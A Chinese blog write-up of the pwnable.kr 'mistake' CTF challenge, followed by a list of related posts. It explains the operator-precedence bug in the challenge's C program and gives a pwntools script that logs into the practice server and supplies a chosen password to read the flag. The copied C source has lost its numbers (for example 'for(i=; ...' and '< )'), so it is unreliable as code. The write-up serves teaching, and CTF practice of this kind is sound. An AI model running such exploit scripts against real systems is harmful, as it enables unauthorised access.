又一道pwnable,我还没放弃。。

ssh mistake@pwnable.kr -p2222 (pw:guest)

源代码如下:

#include <stdio.h>
#include <fcntl.h> #define PW_LEN 10
#define XORKEY 1 void xor(char* s, int len){
int i;
for(i=; i<len; i++){
s[i] ^= XORKEY;
}
} int main(int argc, char* argv[]){ int fd;
if(fd=open("/home/mistake/password",O_RDONLY,) < ){
printf("can't open password %d\n", fd);
return ;
} printf("do not bruteforce...\n");
sleep(time()%); char pw_buf[PW_LEN+];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > )){
printf("read error\n");
close(fd);
return ;
} char pw_buf2[PW_LEN+];
printf("input password : ");
scanf("%10s", pw_buf2); // xor your input
xor(pw_buf2, ); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
} close(fd);
return ;
}

源代码中,对于文件打开错误条件判断出有问题

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

最后执行的应该是=号,也就是说fd= 1,当fd=1,函数read读取就从stdin获得,这部分数据可以被用户输入。

这就是为什么程序运行时会有卡顿。

利用pwntools的sendline函数可以解决。

from pwn import *
import time
s= ssh(host='pwnable.kr',user='mistake',password='guest',port=2222)
s.connected()
pro = s.process('/home/mistake/mistake')
print pro.recv() fd_content = 'p4nda'+'\0'
fd_change = ""
for i in fd_content:
fd_change += chr(ord(i) ^ 1)
pro.sendline(fd_content)
print pro.recv()
print fd_content
print '[+] Sleep over.'
pro.sendline(fd_change)
print pro.recv()

发现使用recv函数可以绕过源文件中sleep等待,原因是该函数是阻塞的。

【pwnable.kr】 mistake的更多相关文章

  1. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  2. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  3. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  4. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  5. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  6. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  7. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  8. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

  9. 【pwnable.kr】cmd2

    这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...

随机推荐

  1. 剑指 offer 树的子结构

    题目描述: 输入两棵二叉树A,B,判断B是不是A的子结构.(ps:我们约定空树不是任意一个树的子结构). 第一遍没写出来错误点:认为首先应该找到pRoot1等于pRoot2的节点,但是递归就是自己在不 ...

  2. [SUCTF 2019]CheckIn

    进入靶场只有一个文件上传界面,上传php一句话木马提示非法后缀. 尝试利用php后缀的多样性绕过,发现都被过滤掉了,先把php改成.jpg的图片,提示说有问号在内容中. php后缀的多样性:php语言 ...

  3. Day3-K-Can you solve this equation? HDU2199

    Now,given the equation 8*x^4 + 7*x^3 + 2*x^2 + 3*x + 6 == Y,can you find its solution between 0 and ...

  4. Linux 命令 - mknod

    mknod 创建块设备或者字符设备文件.此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.SUSE.openSUSE.Fedora. 1.语法 mknod [选项] 设备名 设备类 ...

  5. 一 Mybatis概述&与Hibernate的区别&CRUD

    Mybatis是类似Hibernate的ORM持久层框架 为什么学习Mybatis? 是目前国内主流的持久层框架,面向sql(相较于Hibernate,Mybatis一定要用sql) Hibernat ...

  6. GNS3 模拟DHCP之地址请求

    R1: conf t int f0/0 no shutdown ip address dhcp end R2: conf t int f0/0 no shutdown ip add 12.1.1.2 ...

  7. mysql性能优化及 Comparison method violates its general contract

    项目上嵌套结果集查询,查询的列表再根据每个id进行查询计算,嵌套的sql如下: SELECT SUM(IFNULL(t.out_rate,0)) totalOutRate, SUM(IF(IFNULL ...

  8. 什么是IPFS?IPFS与区块链有什么关系

    1.什么是IPFS? IPFS是Inter Planetary File System(星际文件系统)的缩写,是一个典型的点对点分布式文件系统, 旨在用同一个文件系统连接所有的计算设备.这时候有些小伙 ...

  9. CSV用excel打开乱码

    utf-8 csv 文件用 excel 打开乱码问题 其实这个问题很久之前遇到过, 应该是没解决, 当时的情况是openoffice打开正常而excel打开不正常, 后来也没解决了, 只能把编码转了. ...

  10. mysql 数据库函数入门